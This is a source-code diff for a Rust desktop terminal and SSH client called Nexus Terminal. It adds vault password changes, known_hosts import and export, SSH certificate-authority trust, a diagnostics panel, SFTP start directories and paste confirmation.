} else if m.new {
"Choose a strong master password. This protects all saved credentials." "Choose a strong master password. This protects all saved credentials."
} else { } else {
"Enter your master password to unlock the secret store." "Enter your master password to unlock the secret store."
}); });
ui.add_space(4.0); ui.add_space(4.0);
ui.label("Master password"); if let Some(old) = &mut m.change {
ui.label("Current password");
ui.add(egui::TextEdit::singleline(old).password(true).desired_width(f32::INFINITY));
}
ui.label(if m.change.is_some() { "New password" } else { "Master password" });
let r = ui.add(egui::TextEdit::singleline(&mut m.pw).password(true).hint_text("Password…").desired_width(f32::INFINITY)); let r = ui.add(egui::TextEdit::singleline(&mut m.pw).password(true).hint_text("Password…").desired_width(f32::INFINITY));
if !r.has_focus() && m.pw.is_empty() && m.confirm.is_empty() { if m.change.is_none() && !r.has_focus() && m.pw.is_empty() && m.confirm.is_empty() {
r.request_focus(); r.request_focus();
} }
let mut enter = r.lost_focus() && ui.input(|i| i.key_pressed(egui::Key::Enter)); let mut enter = r.lost_focus() && ui.input(|i| i.key_pressed(egui::Key::Enter));
@@ -399,7 +551,14 @@ impl Settings {
} }
ui.add_space(6.0); ui.add_space(6.0);
ui.horizontal(|ui| { ui.horizontal(|ui| {
submit = widgets::primary(ui, icon::CHECK, if m.new { "Create" } else { "Unlock" }).clicked() || enter; let label = if m.change.is_some() {
"Change"
} else if m.new {
"Create"
} else {
"Unlock"
};
submit = widgets::primary(ui, icon::CHECK, label).clicked() || enter;
cancel = ui.button("Cancel").clicked(); cancel = ui.button("Cancel").clicked();
}); });
}); });
@@ -409,11 +568,13 @@ impl Settings {
} else if m.new && m.pw != m.confirm { } else if m.new && m.pw != m.confirm {
m.error = "Passwords do not match.".into(); m.error = "Passwords do not match.".into();
} else { } else {
let (new, pw) = (m.new, std::mem::take(&mut m.pw)); let (new, pw, change) = (m.new, std::mem::take(&mut m.pw), m.change.take());
let svc = s.svc.clone(); let svc = s.svc.clone();
self.vault_job = Some(Job::spawn(ctx, move || { self.vault_job = Some(Job::spawn(ctx, move || {
let v = &svc.secrets.vault; let v = &svc.secrets.vault;
if new { if let Some(old) = change {
v.change_password(&old, &pw).map(|_| "Master password changed").map_err(|e| format!("Couldn't change the master password: {e}"))
} else if new {
v.initialise(&pw).map(|_| "Secret store created").map_err(|e| format!("Failed to initialise: {e}")) v.initialise(&pw).map(|_| "Secret store created").map_err(|e| format!("Failed to initialise: {e}"))
} else { } else {
v.unlock(&pw).map(|_| "Secret store unlocked").map_err(|e| format!("Unlock failed: {e}")) v.unlock(&pw).map(|_| "Secret store unlocked").map_err(|e| format!("Unlock failed: {e}"))
@@ -431,6 +592,58 @@ impl Settings {
fn known_hosts(&mut self, ui: &mut Ui, s: &mut Shared) { fn known_hosts(&mut self, ui: &mut Ui, s: &mut Shared) {
let t = Tokens::get(ui.ctx()); let t = Tokens::get(ui.ctx());
ui.horizontal(|ui| {
if widgets::button(ui, icon::DOWNLOAD_SIMPLE, "Import ~/.ssh/known_hosts").clicked() {
match s.svc.import_known_hosts(None) {
Ok((n, ca, skipped)) => {
let extra = if skipped > 0 { format!(" ({skipped} hashed or unsupported line(s) skipped)") } else { String::new() };
s.success(format!("Imported {n} host key(s) and {ca} certificate authorit{}{extra}", if ca == 1 { "y" } else { "ies" }));
self.known = s.svc.known_hosts();
}
Err(e) => s.error(format!("Import failed: {e}")),
}
}
if widgets::button(ui, icon::UPLOAD_SIMPLE, "Export…").clicked()
&& let Some(path) = rfd::FileDialog::new().set_file_name("known_hosts").save_file()
{
match s.svc.export_known_hosts(&path) {
Ok(n) => s.success(format!("Wrote {n} line(s) to {}", path.display())),
Err(e) => s.error(format!("Export failed: {e}")),
}
}
if widgets::button(ui, icon::SEAL_CHECK, "Trust a CA…").on_hover_text("Trust SSH host certificates signed by a certificate authority").clicked() {
self.new_ca = Some(Default::default());
}
});
let (mut done, mut added) = (false, false);
if let Some((pattern, key)) = &mut self.new_ca {
egui::Frame::group(ui.style()).show(ui, |ui| {
ui.label(RichText::new("Trust an SSH certificate authority").font(theme::semibold(13.0)));
widgets::hint(ui, "Servers whose host certificate this CA signed are trusted without a first-use prompt. Patterns use OpenSSH syntax: *.example.com, [host]:2222, !exclude.");
ui.add(egui::TextEdit::singleline(pattern).hint_text("*.example.com").desired_width(320.0));
ui.add(egui::TextEdit::multiline(key).hint_text("ssh-ed25519 AAAA… (the CA's public key)").desired_rows(2).desired_width(f32::INFINITY));
ui.horizontal(|ui| {
if widgets::primary(ui, icon::CHECK, "Trust").clicked() {
match s.svc.add_cert_authority(pattern, key) {
Ok(()) => {
s.success("Certificate authority trusted");
(done, added) = (true, true);
}
Err(e) => s.error(e.to_string()),
}
} else if ui.button("Cancel").clicked() {
done = true;
}
});
});
}
if done {
self.new_ca = None;
}
if added {
self.known = s.svc.known_hosts();
}
ui.add_space(6.0);
if self.known.is_empty() { if self.known.is_empty() {
widgets::empty(ui, icon::FINGERPRINT, "No known hosts recorded", "Host keys are recorded the first time you connect over SSH."); widgets::empty(ui, icon::FINGERPRINT, "No known hosts recorded", "Host keys are recorded the first time you connect over SSH.");
return; return;
@@ -449,7 +662,7 @@ impl Settings {
ui.end_row(); ui.end_row();
for kh in &self.known { for kh in &self.known {
ui.label(&kh.host); ui.label(&kh.host);
ui.label(kh.port.to_string()); ui.label(if kh.port == 0 { "—".to_string() } else { kh.port.to_string() });
ui.label(RichText::new(&kh.key_type).font(theme::mono(11.5))); ui.label(RichText::new(&kh.key_type).font(theme::mono(11.5)));
let short: String = kh.fingerprint.chars().take(24).collect(); let short: String = kh.fingerprint.chars().take(24).collect();
let fp = ui.add(egui::Label::new(RichText::new(format!("{short}…")).font(theme::mono(11.5))).sense(egui::Sense::click())); let fp = ui.add(egui::Label::new(RichText::new(format!("{short}…")).font(theme::mono(11.5))).sense(egui::Sense::click()));
@@ -476,6 +689,68 @@ impl Settings {
} }
} }
// --- Diagnostics ----------------------------------------------------------------------
/// What a bug report needs, without secrets: versions, paths, storage and sync status.
fn diagnostics_report(s: &Shared) -> Vec<(&'static str, String)> {
let cfg = &s.svc.config;
let size = |p: &std::path::Path| std::fs::metadata(p).map_or("—".to_string(), |m| widgets::human_size(m.len()));
let sec = &s.svc.secrets;
let known = s.svc.known_hosts();
let cas = known.iter().filter(|k| k.key_type == nexus_core::known_hosts::CA_KEY_TYPE).count();
let yes = |b: bool| if b { "yes" } else { "no" }.to_string();
vec![
("Version", nexus_core::service::VERSION.to_string()),
("Platform", format!("{} {}", std::env::consts::OS, std::env::consts::ARCH)),
("Data folder", cfg.data_dir.display().to_string()),
("Database", format!("{} ({})", cfg.db_path.display(), size(&cfg.db_path))),
("Log", format!("{} ({})", cfg.data_dir.join("nexus.log").display(), size(&cfg.data_dir.join("nexus.log")))),
("Recordings", cfg.recordings_dir.display().to_string()),
("OS keychain", if sec.keychain_ok { "available".into() } else { "unavailable — credentials go to the vault".into() }),
(
"Vault",
match (sec.vault.is_initialised(), sec.vault.is_unlocked()) {
(false, _) => "not set up".into(),
(true, false) => "locked".into(),
(true, true) => format!("unlocked, {} entr{}", sec.vault.keys().len(), if sec.vault.keys().len() == 1 { "y" } else { "ies" }),
},
),
("Profiles", s.profiles.len().to_string()),
("Known hosts", format!("{} ({cas} SSH certificate authorit{})", known.len() - cas, if cas == 1 { "y" } else { "ies" })),
("Open sessions", s.panes.len().to_string()),
(
"Profile sync",
if s.prefs.sync_folder.is_empty() {
"off".into()
} else {
format!("{} (password stored: {})", s.prefs.sync_folder, yes(s.svc.has_sync_password()))
},
),
("Update check at launch", yes(s.prefs.check_for_updates)),
("Restore tabs", yes(s.prefs.restore_sessions)),
]
}
fn diagnostics(&mut self, ui: &mut Ui, s: &mut Shared) {
let t = Tokens::get(ui.ctx());
let report = Self::diagnostics_report(s);
widgets::hint(ui, "Useful when reporting a problem. It contains paths and counts, never credentials.");
ui.add_space(4.0);
egui::Grid::new("diagnostics").num_columns(2).striped(true).spacing(vec2(16.0, 6.0)).show(ui, |ui| {
for (k, v) in &report {
ui.label(RichText::new(*k).color(t.text_dim));
ui.add(egui::Label::new(RichText::new(v).font(theme::mono(12.0))).wrap());
ui.end_row();
}
});
ui.add_space(8.0);
if widgets::button(ui, icon::COPY, "Copy Diagnostics").clicked() {
let text: String = report.iter().map(|(k, v)| format!("{k}: {v}\n")).collect();
ui.ctx().copy_text(text);
s.success("Diagnostics copied");
}
}
// --- Help ----------------------------------------------------------------------------- // --- Help -----------------------------------------------------------------------------
fn help(&mut self, ui: &mut Ui) { fn help(&mut self, ui: &mut Ui) {
@@ -509,7 +784,7 @@ impl Settings {
ui.add_space(8.0); ui.add_space(8.0);
ui.label(RichText::new("Nexus Terminal").font(theme::semibold(22.0))); ui.label(RichText::new("Nexus Terminal").font(theme::semibold(22.0)));
ui.label(RichText::new(format!("Version {}", nexus_core::service::VERSION)).color(t.text_dim)); ui.label(RichText::new(format!("Version {}", nexus_core::service::VERSION)).color(t.text_dim));
ui.label(RichText::new("Developed by Andy Dixon - alchementary.co.uk").color(t.text_faint)); ui.label(RichText::new("Developed by Andy Dixon - dixon.cx/nexus").color(t.text_faint));
ui.add_space(8.0); ui.add_space(8.0);
for f in [ for f in [
"SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals", "SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals",
@@ -533,7 +808,7 @@ impl Settings {
if widgets::button(ui, icon::DOWNLOAD_SIMPLE, "Import ~/.ssh/config").clicked() { if widgets::button(ui, icon::DOWNLOAD_SIMPLE, "Import ~/.ssh/config").clicked() {
match s.svc.import_ssh_config(None, "SSH Config") { match s.svc.import_ssh_config(None, "SSH Config") {
Ok(n) => { Ok(n) => {
s.success(format!("Imported {n} host(s) from ~/.ssh/config")); s.success(ssh_import_summary(n));
s.request(Request::ReloadProfiles); s.request(Request::ReloadProfiles);
} }
Err(e) => s.error(format!("SSH config import failed: {e}")), Err(e) => s.error(format!("SSH config import failed: {e}")),
@@ -559,8 +834,11 @@ impl Settings {
}); });
}); });
} }
if !info.release_url.is_empty() && widgets::button(ui, icon::ARROW_SQUARE_OUT, "View release").clicked() { if widgets::is_web_url(&info.release_url)
ui.ctx().open_url(egui::OpenUrl::new_tab(&info.release_url)); && widgets::button(ui, icon::ARROW_SQUARE_OUT, "View release").clicked()
&& !widgets::open_web_url(ui.ctx(), &info.release_url)
{
s.error("The release link is not a web address");
} }
} else { } else {
ui.label(RichText::new("You are running the latest version.").color(t.success)); ui.label(RichText::new("You are running the latest version.").color(t.success));
@@ -823,7 +1101,7 @@ TOTP secrets for SSH two-factor authentication are stored alongside your other c
## Known Hosts ## Known Hosts
When you connect to an SSH server for the first time, Nexus Terminal records the server's fingerprint. If the fingerprint changes on a later connection, you'll be warned — this protects against man-in-the-middle attacks. When you connect to an SSH server for the first time, Nexus Terminal records the server's fingerprint. If the fingerprint changes on a later connection, you'll be warned — this protects against man-in-the-middle attacks.
You can review and remove known hosts in **Settings → Known Hosts**. You can review and remove known hosts in **Settings → Known Hosts**, import or export them in OpenSSH known_hosts format, and trust SSH certificate authorities for host patterns.
## Encrypted Export ## Encrypted Export
When exporting profiles, encrypted export (a `.nexus` file) protects the file with a password, using the same AES-256-GCM encryption as the vault.", When exporting profiles, encrypted export (a `.nexus` file) protects the file with a password, using the same AES-256-GCM encryption as the vault.",
), ),
@@ -851,7 +1129,7 @@ When exporting profiles, encrypted export (a `.nexus` file) protects the file wi
"## Exporting Profiles "## Exporting Profiles
Use **Export (Encrypted)** from the sidebar menu or command palette. Choose which profiles to include and set a password to encrypt the file. Exported files use the `.nexus` extension. Plain **JSON** export is also available, optionally including secrets. Use **Export (Encrypted)** from the sidebar menu or command palette. Choose which profiles to include and set a password to encrypt the file. Exported files use the `.nexus` extension. Plain **JSON** export is also available, optionally including secrets.
## Importing Profiles ## Importing Profiles
Use **Import (Encrypted)**, select a `.nexus` file (older `.link` exports from Alchementary Link work too) and enter the password used when exporting. Choose whether existing profiles are skipped, overwritten or duplicated. Imported profiles appear in your sidebar immediately. Use **Import (Encrypted)**, select a `.nexus` file and enter the password used when exporting. Choose whether existing profiles are skipped, overwritten or duplicated. Imported profiles appear in your sidebar immediately.
## Importing from OpenSSH ## Importing from OpenSSH
If you have an existing `~/.ssh/config` file, go to **Settings → About** and click **Import ~/.ssh/config**. Nexus Terminal creates profiles from your SSH Host blocks, including hostnames, usernames, ports, identity files, and jump hosts.", If you have an existing `~/.ssh/config` file, go to **Settings → About** and click **Import ~/.ssh/config**. Nexus Terminal creates profiles from your SSH Host blocks, including hostnames, usernames, ports, identity files, and jump hosts.",
), ),
@@ -921,6 +1199,12 @@ Open two or more sessions and press {Mod+Shift+B} to turn on broadcast mode. Eve
), ),
]; ];
pub fn ssh_import_summary((n, skipped): (usize, usize)) -> String {
match skipped {
0 => format!("Imported {n} host(s) from ~/.ssh/config"),
k => format!("Imported {n} host(s) from ~/.ssh/config; skipped {k} that couldn't be used as-is"),
}
}
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use super::*; use super::*;
+23 -10
View File
@@ -13,9 +13,10 @@ use nexus_core::clients::sftp::{self as rsftp, FileEntry, Progress};
use nexus_core::keyfiles::safe_sftp_upload_name; use nexus_core::keyfiles::safe_sftp_upload_name;
use nexus_core::models::Protocol; use nexus_core::models::Protocol;
use nexus_core::service::Service; use nexus_core::service::Service;
use parking_lot::Mutex;
use std::collections::{BTreeMap, HashMap, HashSet}; use std::collections::{BTreeMap, HashMap, HashSet};
use std::path::{Path, PathBuf}; use std::path::{Path, PathBuf};
use std::sync::{Arc, Mutex}; use std::sync::Arc;
/// Worker results, applied on the UI thread. /// Worker results, applied on the UI thread.
enum Done { enum Done {
@@ -47,7 +48,7 @@ struct Inbox(Arc<Mutex<Vec<Done>>>, egui::Context);
impl Inbox { impl Inbox {
fn push(&self, d: Done) { fn push(&self, d: Done) {
self.0.lock().unwrap().push(d); self.0.lock().push(d);
self.1.request_repaint(); self.1.request_repaint();
} }
} }
@@ -108,6 +109,8 @@ pub struct Sftp {
/// Profile id (or host:port for quick connects) → bookmarked paths. Loaded on first use. /// Profile id (or host:port for quick connects) → bookmarked paths. Loaded on first use.
bookmarks: Option<BTreeMap<String, Vec<String>>>, bookmarks: Option<BTreeMap<String, Vec<String>>>,
inbox: Arc<Mutex<Vec<Done>>>, inbox: Arc<Mutex<Vec<Done>>>,
/// Where a browser opened from a terminal should start: the directory its shell reported.
start_at: HashMap<String, String>,
} }
// --- path helpers --------------------------------------------------------------------------- // --- path helpers ---------------------------------------------------------------------------
@@ -214,11 +217,16 @@ fn state_line(ui: &mut Ui, loading: bool, error: Option<&str>) -> bool {
} }
impl Sftp { impl Sftp {
pub fn toggle(&mut self, session: &str) { /// Opens (or closes) the browser for `session`; `at` is the shell's reported directory, which
/// the browser goes to when it opens.
pub fn toggle(&mut self, session: &str, at: Option<String>) {
if self.open_for.as_deref() == Some(session) { if self.open_for.as_deref() == Some(session) {
self.close(session); self.close(session);
} else { } else {
self.open_for = Some(session.into()); self.open_for = Some(session.into());
if let Some(dir) = at.filter(|d| d.starts_with('/')) {
self.start_at.insert(session.into(), dir);
}
} }
} }
@@ -250,7 +258,7 @@ impl Sftp {
let tr = self.transfers.remove(i); let tr = self.transfers.remove(i);
if self.open_for.as_deref() != Some(session) { if self.open_for.as_deref() != Some(session) {
let verb = if tr.upload { "↑ Uploaded" } else { "↓ Downloaded" }; let verb = if tr.upload { "↑ Uploaded" } else { "↓ Downloaded" };
self.inbox.lock().unwrap().push(Done::Toast(format!("{verb} {}", base_name(&tr.path)))); self.inbox.lock().push(Done::Toast(format!("{verb} {}", base_name(&tr.path))));
} }
} }
} }
@@ -269,7 +277,7 @@ impl Sftp {
} }
fn drain(&mut self, s: &mut Shared) { fn drain(&mut self, s: &mut Shared) {
let items = std::mem::take(&mut *self.inbox.lock().unwrap()); let items = std::mem::take(&mut *self.inbox.lock());
for d in items { for d in items {
match d { match d {
Done::Listed { session, path, files } => { Done::Listed { session, path, files } => {
@@ -487,7 +495,11 @@ impl Sftp {
let Some(session) = self.open_for.clone() else { let Some(session) = self.open_for.clone() else {
return; return;
}; };
if !self.panels.contains_key(&session) { if let Some(dir) = self.start_at.remove(&session) {
if self.panels.get(&session).is_none_or(|p| p.cwd != dir) {
self.navigate(s, &session, Some(dir));
}
} else if !self.panels.contains_key(&session) {
self.navigate(s, &session, None); self.navigate(s, &session, None);
} }
let t = Tokens::get(ui.ctx()); let t = Tokens::get(ui.ctx());
@@ -771,8 +783,8 @@ impl Sftp {
return; return;
}; };
let t = Tokens::get(ctx); let t = Tokens::get(ctx);
let esc = ctx.input(|i| i.key_pressed(Key::Escape)); let esc = crate::chrome::modal_key(ctx, Key::Escape);
let enter = ctx.input(|i| i.key_pressed(Key::Enter)); let enter = crate::chrome::modal_key(ctx, Key::Enter);
let mut keep = !esc; let mut keep = !esc;
match &mut d { match &mut d {
Dialog::Input { session, kind, value } => { Dialog::Input { session, kind, value } => {
@@ -960,7 +972,7 @@ impl Sftp {
} }
} }
} }
if ctx.input(|i| i.key_pressed(Key::Enter)) && writable && !target.is_empty() { if crate::chrome::modal_key(ctx, Key::Enter) && writable && !target.is_empty() {
chosen = Some(target.clone()); chosen = Some(target.clone());
} }
if back && pk.filter.is_empty() && !pk.cwd.is_empty() && pk.cwd != "/" { if back && pk.filter.is_empty() && !pk.cwd.is_empty() && pk.cwd != "/" {
@@ -1122,7 +1134,8 @@ fn paste_files(s: &mut Shared, session: &str, paths: &[PathBuf]) {
} }
if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) { if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) {
let mut out = crate::terminal::TermResponse::default(); let mut out = crate::terminal::TermResponse::default();
term.paste(&combined, &mut out); // The drop was already confirmed in its own dialog.
term.paste_now(&combined, &mut out);
s.request(Request::Write(session.into(), out.input)); s.request(Request::Write(session.into(), out.input));
} }
} }
+7 -3
View File
@@ -185,7 +185,7 @@ fn local_row(app: &mut App, ui: &mut Ui) {
fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) { fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) {
let t = Tokens::get(ui.ctx()); let t = Tokens::get(ui.ctx());
let selected = app.sidebar.selected.contains(&p.id); let selected = app.sidebar.selected.contains(&p.id);
let (r, resp) = ui.allocate_exact_size(vec2(ui.available_width(), 34.0), Sense::click()); let (r, resp) = ui.allocate_exact_size(vec2(ui.available_width(), 40.0), Sense::click());
let r = r.shrink2(vec2(6.0, 1.0)); let r = r.shrink2(vec2(6.0, 1.0));
if selected { if selected {
ui.painter().rect_filled(r, 6.0, t.row_selected); ui.painter().rect_filled(r, 6.0, t.row_selected);
@@ -203,9 +203,13 @@ fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) {
let name = if p.display_name.is_empty() { &p.host } else { &p.display_name }; let name = if p.display_name.is_empty() { &p.host } else { &p.display_name };
let text_r = Rect::from_min_max(r.min + vec2(24.0, 0.0), r.max - vec2(46.0, 0.0)); let text_r = Rect::from_min_max(r.min + vec2(24.0, 0.0), r.max - vec2(46.0, 0.0));
let painter = ui.painter().with_clip_rect(text_r); let painter = ui.painter().with_clip_rect(text_r);
painter.text(text_r.left_top() + vec2(0.0, 3.0), Align2::LEFT_TOP, name, egui::FontId::proportional(13.0), t.text); // Name, then a clear gap, then user@host; sized from the name's real row height so the two
// lines never crowd each other.
let name_font = egui::FontId::proportional(13.0);
let name_h = ui.fonts_mut(|f| f.row_height(&name_font));
painter.text(text_r.left_top() + vec2(0.0, 4.0), Align2::LEFT_TOP, name, name_font, t.text);
let sub = if p.username.is_empty() || p.protocol == nexus_core::models::Protocol::Serial { p.host.clone() } else { format!("{}@{}", p.username, p.host) }; let sub = if p.username.is_empty() || p.protocol == nexus_core::models::Protocol::Serial { p.host.clone() } else { format!("{}@{}", p.username, p.host) };
painter.text(text_r.left_bottom() - vec2(0.0, 3.0), Align2::LEFT_BOTTOM, sub, egui::FontId::proportional(11.0), t.text_faint); painter.text(text_r.left_top() + vec2(0.0, 4.0 + name_h + 3.0), Align2::LEFT_TOP, sub, egui::FontId::proportional(11.0), t.text_faint);
ui.painter().text(r.right_center() - vec2(8.0, 0.0), Align2::RIGHT_CENTER, protocol_badge(p.protocol), theme::semibold(9.0), col); ui.painter().text(r.right_center() - vec2(8.0, 0.0), Align2::RIGHT_CENTER, protocol_badge(p.protocol), theme::semibold(9.0), col);
if p.favourite { if p.favourite {
ui.painter().text(r.right_center() - vec2(36.0, 0.0), Align2::RIGHT_CENTER, "★", egui::FontId::proportional(11.0), t.warning); ui.painter().text(r.right_center() - vec2(36.0, 0.0), Align2::RIGHT_CENTER, "★", egui::FontId::proportional(11.0), t.warning);
+3 -3
View File
@@ -291,7 +291,7 @@ impl Snippets {
fn var_form(&mut self, ctx: &egui::Context, s: &mut Shared) { fn var_form(&mut self, ctx: &egui::Context, s: &mut Shared) {
let Some(f) = &mut self.vars else { return }; let Some(f) = &mut self.vars else { return };
let (mut send, mut cancel) = (false, ctx.input(|i| i.key_pressed(Key::Escape))); let (mut send, mut cancel) = (false, crate::chrome::modal_key(ctx, Key::Escape));
crate::chrome::modal(ctx, "snippet-vars", 360.0, |ui| { crate::chrome::modal(ctx, "snippet-vars", 360.0, |ui| {
ui.label(RichText::new("Snippet Variables").font(theme::semibold(15.0))); ui.label(RichText::new("Snippet Variables").font(theme::semibold(15.0)));
ui.add_space(4.0); ui.add_space(4.0);
@@ -304,7 +304,7 @@ impl Snippets {
} }
ui.add_space(8.0); ui.add_space(8.0);
ui.horizontal(|ui| { ui.horizontal(|ui| {
send = widgets::primary(ui, icon::PAPER_PLANE_RIGHT, "Send").clicked() || ui.input(|i| i.key_pressed(Key::Enter)); send = widgets::primary(ui, icon::PAPER_PLANE_RIGHT, "Send").clicked() || crate::chrome::modal_key(ui.ctx(), Key::Enter);
cancel |= ui.button("Cancel").clicked(); cancel |= ui.button("Cancel").clicked();
}); });
}); });
@@ -322,7 +322,7 @@ impl Snippets {
return; return;
}; };
let name = self.list.iter().find(|x| x.id == id).map(|x| x.name.clone()).unwrap_or_default(); let name = self.list.iter().find(|x| x.id == id).map(|x| x.name.clone()).unwrap_or_default();
let (mut yes, mut no) = (false, ctx.input(|i| i.key_pressed(Key::Escape))); let (mut yes, mut no) = (false, crate::chrome::modal_key(ctx, Key::Escape));
crate::chrome::modal(ctx, "snippet-delete", 360.0, |ui| { crate::chrome::modal(ctx, "snippet-delete", 360.0, |ui| {
ui.label(RichText::new("Delete snippet?").font(theme::semibold(15.0))); ui.label(RichText::new("Delete snippet?").font(theme::semibold(15.0)));
ui.label(format!("\u{201c}{name}\u{201d} will be permanently deleted.")); ui.label(format!("\u{201c}{name}\u{201d} will be permanently deleted."));
+1 -1
View File
@@ -1,4 +1,4 @@
//! SSH Key Manager window: key pairs in ~/.ssh — copy public key, delete, generate (ssh-keygen). //! SSH Key Manager window: key pairs in ~/.ssh — copy public key, delete, generate (in-process, OpenSSH format).
use crate::settings::{Job, poll}; use crate::settings::{Job, poll};
use crate::state::Shared; use crate::state::Shared;
+3
View File
@@ -10,6 +10,8 @@ use std::sync::Arc;
/// Things a feature asks the main window to do (handled once per frame, in order). /// Things a feature asks the main window to do (handled once per frame, in order).
#[allow(clippy::large_enum_variant)] // a per-frame queue; boxing buys nothing #[allow(clippy::large_enum_variant)] // a per-frame queue; boxing buys nothing
pub enum Request { pub enum Request {
/// Merge profiles with the sync folder (manual, or after a change).
SyncProfiles,
/// Open the profile editor for a new profile (optionally pre-set protocol / folder). /// Open the profile editor for a new profile (optionally pre-set protocol / folder).
NewProfile { NewProfile {
protocol: Option<Protocol>, protocol: Option<Protocol>,
@@ -38,6 +40,7 @@ pub enum SettingsTab {
Terminal, Terminal,
Security, Security,
KnownHosts, KnownHosts,
Diagnostics,
Help, Help,
About, About,
} }
+9 -2
View File
@@ -51,7 +51,7 @@ fn empty_state(app: &mut App, ui: &mut Ui) {
ui.vertical_centered(|ui| { ui.vertical_centered(|ui| {
ui.add(egui::Image::new(&crate::chrome::logo(ui.ctx())).fit_to_exact_size(vec2(84.0, 84.0))); ui.add(egui::Image::new(&crate::chrome::logo(ui.ctx())).fit_to_exact_size(vec2(84.0, 84.0)));
ui.label(RichText::new("Nexus Terminal").font(theme::semibold(28.0))); ui.label(RichText::new("Nexus Terminal").font(theme::semibold(28.0)));
ui.label(RichText::new("SSH · Telnet · RAW · Serial · VNC · IRC · GitHub").color(t.text_dim)); ui.label(RichText::new("SSH · Telnet · RAW · Serial · VNC · RDP · IRC · GitHub").color(t.text_dim));
ui.add_space(18.0); ui.add_space(18.0);
ui.horizontal(|ui| { ui.horizontal(|ui| {
ui.add_space((ui.available_width() - 330.0).max(0.0) / 2.0); ui.add_space((ui.available_width() - 330.0).max(0.0) / 2.0);
@@ -328,6 +328,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
find_bar(app, ui, term); find_bar(app, ui, term);
} }
let theme = crate::terminal_themes::get(&theme_id); let theme = crate::terminal_themes::get(&theme_id);
term.confirm_paste = app.s.prefs.confirm_multiline_paste;
let r = term.ui(ui, theme, focused_tab); let r = term.ui(ui, theme, focused_tab);
if pane.highlight_until > app.s.now { if pane.highlight_until > app.s.now {
ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside); ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside);
@@ -338,7 +339,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
View::Raw(v) => v.ui(ui, &mut app.s), View::Raw(v) => v.ui(ui, &mut app.s),
View::Irc(v) => v.ui(ui, &mut app.s), View::Irc(v) => v.ui(ui, &mut app.s),
View::Github(v) => v.ui(ui, &mut app.s), View::Github(v) => v.ui(ui, &mut app.s),
View::Vnc(v) => v.ui(ui, &mut app.s), View::Desktop(v) => v.ui(ui, &mut app.s),
} }
let state = app.s.session_state(id).unwrap_or(pane.info.state); let state = app.s.session_state(id).unwrap_or(pane.info.state);
let local_exited = pane.local_exited; let local_exited = pane.local_exited;
@@ -379,6 +380,12 @@ fn terminal_response(app: &mut App, id: &str, r: TermResponse, local_exited: boo
if r.bell { if r.bell {
app.s.ctx.request_repaint(); app.s.ctx.request_repaint();
} }
if let Some(text) = r.clipboard {
app.remote_clipboard(&text);
}
if let Some(text) = r.confirm_paste {
app.dialog = Some(crate::app::Dialog::ConfirmPaste { session: id.into(), text });
}
if let Some(a) = r.menu { if let Some(a) = r.menu {
app.terminal_menu(id, a); app.terminal_menu(id, a);
} }
+459 -13
View File
@@ -12,7 +12,8 @@ use alacritty_terminal::term::test::TermSize;
use alacritty_terminal::term::{Config, Term, TermMode}; use alacritty_terminal::term::{Config, Term, TermMode};
use alacritty_terminal::vte::ansi::{self, Color, CursorShape, NamedColor, Processor, StdSyncHandler}; use alacritty_terminal::vte::ansi::{self, Color, CursorShape, NamedColor, Processor, StdSyncHandler};
use egui::{Color32, Event, FontId, Key, Modifiers, PointerButton, Pos2, Rect, Sense, Stroke, Ui, pos2, vec2}; use egui::{Color32, Event, FontId, Key, Modifiers, PointerButton, Pos2, Rect, Sense, Stroke, Ui, pos2, vec2};
use std::sync::{Arc, Mutex}; use parking_lot::Mutex;
use std::sync::Arc;
#[derive(Clone, Default)] #[derive(Clone, Default)]
struct Listener(Arc<Mutex<Vec<TermEvent>>>); struct Listener(Arc<Mutex<Vec<TermEvent>>>);
@@ -20,7 +21,7 @@ struct Listener(Arc<Mutex<Vec<TermEvent>>>);
impl EventListener for Listener { impl EventListener for Listener {
fn send_event(&self, e: TermEvent) { fn send_event(&self, e: TermEvent) {
if matches!(e, TermEvent::PtyWrite(_) | TermEvent::Title(_) | TermEvent::Bell | TermEvent::ClipboardStore(..)) { if matches!(e, TermEvent::PtyWrite(_) | TermEvent::Title(_) | TermEvent::Bell | TermEvent::ClipboardStore(..)) {
self.0.lock().unwrap().push(e); self.0.lock().push(e);
} }
} }
} }
@@ -39,6 +40,9 @@ pub enum MenuAction {
Export, Export,
Clear, Clear,
Reset, Reset,
PrevPrompt,
NextPrompt,
CopyOutput,
} }
#[derive(Default)] #[derive(Default)]
@@ -52,6 +56,10 @@ pub struct TermResponse {
pub title: Option<String>, pub title: Option<String>,
pub bell: bool, pub bell: bool,
pub focused: bool, pub focused: bool,
/// Text the remote asked to put on the clipboard (OSC 52); the app applies its preference.
pub clipboard: Option<String>,
/// A paste held back for confirmation (see [`TermView::paste`]).
pub confirm_paste: Option<String>,
} }
#[derive(Clone, Copy, PartialEq, Eq, Default)] #[derive(Clone, Copy, PartialEq, Eq, Default)]
@@ -100,8 +108,49 @@ pub struct TermView {
generation: u64, generation: u64,
pub find: Option<Find>, pub find: Option<Find>,
focus_requested: bool, focus_requested: bool,
/// Hold back multi-line pastes that would run unbracketed (set from preferences each frame).
pub confirm_paste: bool,
osc: crate::osc::OscScanner,
/// Shell-integration prompts (OSC 133), oldest first.
prompts: Vec<PromptMark>,
/// Lines rotated out of a full scrollback since start, so marks keep pointing at their text.
rotated: i64,
max_history: usize,
/// The working directory the shell last reported (OSC 7): (host, path).
pub reported_cwd: Option<(String, String)>,
/// Inline images (iTerm2 OSC 1337), oldest first.
images: Vec<InlineImage>,
/// Cell size in points from the last frame, for sizing images that arrive between frames.
cell_px: (f32, f32),
} }
struct InlineImage {
stable: i64,
col: usize,
cols: usize,
rows: usize,
pixels: Option<egui::ColorImage>,
texture: Option<egui::TextureHandle>,
size: usize,
}
/// Pixels of inline images kept per terminal; the oldest go first.
